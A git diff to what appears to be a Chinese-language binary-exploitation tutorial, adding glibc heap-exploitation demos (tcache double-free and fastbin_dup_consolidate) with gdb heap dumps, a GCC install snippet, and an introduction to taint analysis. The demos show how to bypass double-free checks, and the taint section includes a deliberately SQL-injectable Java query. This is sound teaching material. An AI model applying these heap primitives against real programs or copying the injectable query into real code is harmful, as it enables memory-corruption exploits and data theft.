diff --git a/doc/3.3.6_heap_exploit_1.md b/doc/3.3.6_heap_exploit_1.md
index ff0402b..a70fad8 100644
--- a/doc/3.3.6_heap_exploit_1.md
+++ b/doc/3.3.6_heap_exploit_1.md
@@ -5,6 +5,7 @@
   - [first_fit](#first_fit)
   - [fastbin_dup](#fastbin_dup)
   - [fastbin_dup_into_stack](#fastbin_dup_into_stack)
+  - [fastbin_dup_consolidate](#fastbin_dup_consolidate)
   - [unsafe_unlink](#unsafe_unlink)
   - [house_of_spirit](#house_of_spirit)
 - [参考资料](#参考资料)
@@ -317,6 +318,65 @@ previously allocated by thread T0 here:
 ```
 一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程，我们会在后面的章节里再讲。
 
+看一点新鲜的，在 libc-2.26 中，即使两次 free，也并没有触发 double-free 的异常检测，这与 tcache 机制有关，以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子：
+```c
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    int i;
+
+    void *p = malloc(0x40);
+    fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
+
+    fprintf(stderr, "Then free(p) 7 times\n");
+    for (i = 0; i < 7; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
+        free(p);
+    }
+
+    fprintf(stderr, "Then malloc 8 times at the same address\n");
+    int *a[10];
+    for (i = 0; i < 8; i++) {
+        a[i] = malloc(0x40);
+        fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
+    }
+
+    fprintf(stderr, "Finally trigger double-free\n");
+    for (i = 0; i < 2; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
+        free(a[i]);
+    }
+}
+```
+```
+$ gcc -g tcache_double-free.c
+$ ./a.out 
+First allocate a fastbin: p=0x559e30950260
+Then free(p) 7 times
+free 1: 0x7ffc498b2958 => 0x559e30950260
+free 2: 0x7ffc498b2958 => 0x559e30950260
+free 3: 0x7ffc498b2958 => 0x559e30950260
+free 4: 0x7ffc498b2958 => 0x559e30950260
+free 5: 0x7ffc498b2958 => 0x559e30950260
+free 6: 0x7ffc498b2958 => 0x559e30950260
+free 7: 0x7ffc498b2958 => 0x559e30950260
+Then malloc 8 times at the same address
+malloc 1: 0x7ffc498b2960 => 0x559e30950260
+malloc 2: 0x7ffc498b2968 => 0x559e30950260
+malloc 3: 0x7ffc498b2970 => 0x559e30950260
+malloc 4: 0x7ffc498b2978 => 0x559e30950260
+malloc 5: 0x7ffc498b2980 => 0x559e30950260
+malloc 6: 0x7ffc498b2988 => 0x559e30950260
+malloc 7: 0x7ffc498b2990 => 0x559e30950260
+malloc 8: 0x7ffc498b2998 => 0x559e30950260
+Finally trigger double-free
+free 1: 0x7ffc498b2960 => 0x559e30950260
+free 2: 0x7ffc498b2968 => 0x559e30950260
+double free or corruption (fasttop)
+[2]    1244 abort (core dumped)  ./a.out
+```
+
 #### fastbin_dup_into_stack
 ```c
 #include <stdio.h>
@@ -473,6 +533,178 @@ gef➤  x/5gx 0x7fffffffdc38-0x8
 
 所以对于 fastbins，可以通过 double-free 覆盖 fastbins 的结构，来获得一个指向任意地址的指针。
 
+#### fastbin_dup_consolidate
+```c
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    void *p1 = malloc(0x10);
+    void *p2 = malloc(0x10);
+    strcpy(p1, "AAAAAAAA");
+    strcpy(p2, "BBBBBBBB");
+    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
+
+    fprintf(stderr, "Now free p1!\n");
+    free(p1);
+
+    void *p3 = malloc(0x400);
+    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
+    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
+
+    free(p1);
+    fprintf(stderr, "Trigger the double free vulnerability!\n");
+    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
+
+    void *p4 = malloc(0x10);
+    strcpy(p4, "CCCCCCC");
+    void *p5 = malloc(0x10);
+    strcpy(p5, "DDDDDDDD");
+    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
+}
+```
+```
+$ gcc -g fastbin_dup_consolidate.c 
+$ ./a.out                         
+Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
+Now free p1!
+Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
+In malloc_consolidate(), p1 is moved to the unsorted bin.
+Trigger the double free vulnerability!
+We can pass the check in malloc() since p1 is not fast top.
+Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
+```
+这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查，这个检查在 fastbin_dup 中已经展示过了，只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。
+
+首先分配两个 fast chunk：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p1
+0x602010:	0x4141414141414141	0x0000000000000000
+0x602020:	0x0000000000000000	0x0000000000000021  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000020fc1  <-- top chunk
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+```
+释放掉 p1，则空闲 chunk 加入到 fastbins 中：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p1 [be freed]
+0x602010:	0x0000000000000000	0x0000000000000000
+0x602020:	0x0000000000000000	0x0000000000000021  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000020fc1  <-- top chunk
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+gef➤  heap bins fast 
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) 
+```
+此时如果我们再次释放 p1，必然触发 double free 异常，然而，如果此时分配一个 large chunk，效果如下：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p1 [be freed]
+0x602010:	0x00007ffff7dd1b88	0x00007ffff7dd1b88      <-- fd, bk pointer
+0x602020:	0x0000000000000020	0x0000000000000020  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000000411  <-- chunk p3
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+gef➤  heap bins fast 
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤  heap bins small 
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+```
+可以看到 fastbins 中的 chunk 已经不见了，反而出现在了 small bins 中，并且 chunk p2 的 prev_size 和 size 字段都被修改。
+
+看一下 large chunk 的分配过程：
+```c
+  /*
+     If this is a large request, consolidate fastbins before continuing.
+     While it might look excessive to kill all fastbins before
+     even seeing if there is space available, this avoids
+     fragmentation problems normally associated with fastbins.
+     Also, in practice, programs tend to have runs of either small or
+     large requests, but less often mixtures, so consolidation is not
+     invoked all that often in most programs. And the programs that
+     it is called frequently in otherwise tend to fragment.
+   */
+
+  else
+    {
+      idx = largebin_index (nb);
+      if (have_fastchunks (av))
+        malloc_consolidate (av);
+    }
+```
+当分配 large chunk 时，首先根据 chunk 的大小获得对应的 large bin 的 index，接着判断当前分配区的 fast bins 中是否包含 chunk，如果有，调用 malloc_consolidate() 函数合并 fast bins 中的 chunk，并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk，所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
+
+由于此时 p1 已经不在 fastbins 的顶部，可以再次释放 p1：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p1 [double freed]
+0x602010:	0x0000000000000000	0x00007ffff7dd1b88
+0x602020:	0x0000000000000020	0x0000000000000020  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000000411  <-- chunk p3
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+gef➤  heap bins fast 
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) 
+gef➤  heap bins small 
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+```
+p1 被再次放入 fastbins，于是 p1 同时存在于 fabins 和 small bins 中。
+
+第一次 malloc，chunk 将从 fastbins 中取出：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p1 [be freed], chunk p4
+0x602010:	0x0043434343434343	0x00007ffff7dd1b88
+0x602020:	0x0000000000000020	0x0000000000000020  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000000411  <-- chunk p3
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+gef➤  heap bins fast 
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] 0x00
+gef➤  heap bins small 
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x602000, bk=0x602000
+ →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 small non-empty bins.
+```
+第二次 malloc，chunk 从 small bins 中取出：
+```
+gef➤  x/15gx 0x602010-0x10
+0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk p4, chunk p5
+0x602010:	0x4444444444444444	0x00007ffff7dd1b00
+0x602020:	0x0000000000000020	0x0000000000000021  <-- chunk p2
+0x602030:	0x4242424242424242	0x0000000000000000
+0x602040:	0x0000000000000000	0x0000000000000411  <-- chunk p3
+0x602050:	0x0000000000000000	0x0000000000000000
+0x602060:	0x0000000000000000	0x0000000000000000
+0x602070:	0x0000000000000000
+```
+chunk p4 和 p5 在同一位置。
+
 #### unsafe_unlink
 ```c
 #include <stdio.h>
diff --git a/doc/4.3_gcc_arg.md b/doc/4.3_gcc_arg.md
index 02b67fd..74256f3 100644
--- a/doc/4.3_gcc_arg.md
+++ b/doc/4.3_gcc_arg.md
@@ -1,11 +1,21 @@
 # 4.3 GCC 编译参数解析
 
+- [GCC](#gcc)
 - [常用选择](#常用选项)
 - [Address sanitizer](#address-sanitizer)
 - [mcheck](#mcheck)
 - [参考资料](#参考资料)
 
 
+## GCC
+```
+$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2
+$ tar -xjvf gcc-4.4.0.tar.bz2
+$ ./configure
+$ make && sudo make install
+```
+
+
 ## 常用选项
 #### 控制标准版本的编译选项
 - `-ansi`：告诉编译器遵守 C 语言的 ISO C90 标准。
diff --git a/doc/5.5_taint_analysis.md b/doc/5.5_taint_analysis.md
index b9adc20..0484fa7 100644
--- a/doc/5.5_taint_analysis.md
+++ b/doc/5.5_taint_analysis.md
@@ -1 +1,65 @@
 # 5.5 污点分析
+
+- [基本原理](#基本原理)
+- [方法实现](#方法实现)
+- [实例分析](#实例分析)
+
+
+## 基本原理
+污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中，使用污点分析技术将所感兴趣的数据（通常来自程序的外部输入）标记为污点数据，然后通过跟踪和污点数据相关的信息的流向，可以知道它们是否会影响某些关键的程序操作，进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。
+
+污点分析常常包括以下几个部分：
+- 识别污点信息在程序中的产生点（Source点）并对污点信息进行标记
+- 利用特定的规则跟踪分析污点信息在程序中的传播过程
+- 在一些关键的程序点（Sink点）检测关键的操作是否会受到污点信息的影响
+
+举个例子：
+```
+[...]
+scanf("%d", &x);    // Source 点，输入数据被标记为污点信息，并且认为变量 x 是污染的
+[...]
+y = x + k;          // 如果二元操作的操作数是污染的，那么操作结果也是污染的，所以变量 y 也是污染的
+[...]
+x = 0;              // 如果一个被污染的变量被赋值为一个常数，那么认为它是未污染的，所以 x 转变成未污染的
+[...]
+while (i < y)       // Sink 点，如果规定循环的次数不能受程序输入的影响，那么需要检查 y 是否被污染
+```
+
+然而污点信息不仅可以通过数据依赖传播，还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流，将通过控制依赖传播的信息流称为隐式信息流。
+
+举个例子：
+```c
+if (x > 0)
+    y = 1;
+else
+    y = 0;
+```
+变量 y 的取值依赖于变量 x 的取值，如果变量 x 是污染的，那么变量 y 也应该是污染的。
+
+通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞，例如 SQL 注入漏洞：
+```java
+String user = getUser();
+String pass = getPass();
+String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'";
+Statement stam = con.createStatement();
+ResultSetrs = stam.executeQuery(sqlQuery);
+if (rs.next())
+    success = true;
+```
+在进行污点分析时，将变量 user 和 pass 标记为污染的，由于变量 sqlQuery 的值受到 user 和 pass 的影响，所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句，于是可以判定程序存在 SQL 注入漏洞。
+
+使用污点分析检测程序漏洞的工作原理如下图所示：
+
+![](../pic/5.5_overview.png)
+
+- 基于数据流的污点分析。在不考虑隐式信息流的情况下，可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况，进而检查污点信息是否影响敏感操作。
+- 基于依赖关系的污点分析。考虑隐式信息流，在分析过程中，根据程序中的语句或者指令之间的依赖关系，检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。
+
+
+## 方法实现
+#### 基于数据流的污点分析
+
+#### 基于依赖关系的污点分析
+
+
+## 实例分析
diff --git a/pic/5.5_overview.png b/pic/5.5_overview.png
new file mode 100644
index 0000000..c5eec1e
Binary files /dev/null and b/pic/5.5_overview.png differ
diff --git a/src/Others/3.3.6_heap_exploit/Makefile b/src/Others/3.3.6_heap_exploit/Makefile
index 0a60a90..9905c35 100644
--- a/src/Others/3.3.6_heap_exploit/Makefile
+++ b/src/Others/3.3.6_heap_exploit/Makefile
@@ -1,4 +1,4 @@
-PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
+PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
 CFLAGS += -std=c99 -g
 
 # CFLAGS += -fsanitize=address
diff --git a/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c
new file mode 100644
index 0000000..7e6161f
--- /dev/null
+++ b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c
@@ -0,0 +1,29 @@
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    void *p1 = malloc(0x10);
+    void *p2 = malloc(0x10);
+    strcpy(p1, "AAAAAAAA");
+    strcpy(p2, "BBBBBBBB");
+    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
+
+    fprintf(stderr, "Now free p1!\n");
+    free(p1);
+
+    void *p3 = malloc(0x400);
+    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
+    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
+
+    free(p1);
+    fprintf(stderr, "Trigger the double free vulnerability!\n");
+    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
+
+    void *p4 = malloc(0x10);
+    strcpy(p4, "CCCCCCC");
+    void *p5 = malloc(0x10);
+    strcpy(p5, "DDDDDDDD");
+    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
+}
diff --git a/src/Others/3.3.6_heap_exploit/tcache_double-free.c b/src/Others/3.3.6_heap_exploit/tcache_double-free.c
new file mode 100644
index 0000000..98305ec
--- /dev/null
+++ b/src/Others/3.3.6_heap_exploit/tcache_double-free.c
@@ -0,0 +1,28 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    int i;
+
+    void *p = malloc(0x40);
+    fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
+
+    fprintf(stderr, "Then free(p) 7 times\n");
+    for (i = 0; i < 7; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
+        free(p);
+    }
+
+    fprintf(stderr, "Then malloc 8 times at the same address\n");
+    int *a[10];
+    for (i = 0; i < 8; i++) {
+        a[i] = malloc(0x40);
+        fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
+    }
+
+    fprintf(stderr, "Finally trigger double-free\n");
+    for (i = 0; i < 2; i++) {
+        fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
+        free(a[i]);
+    }
+}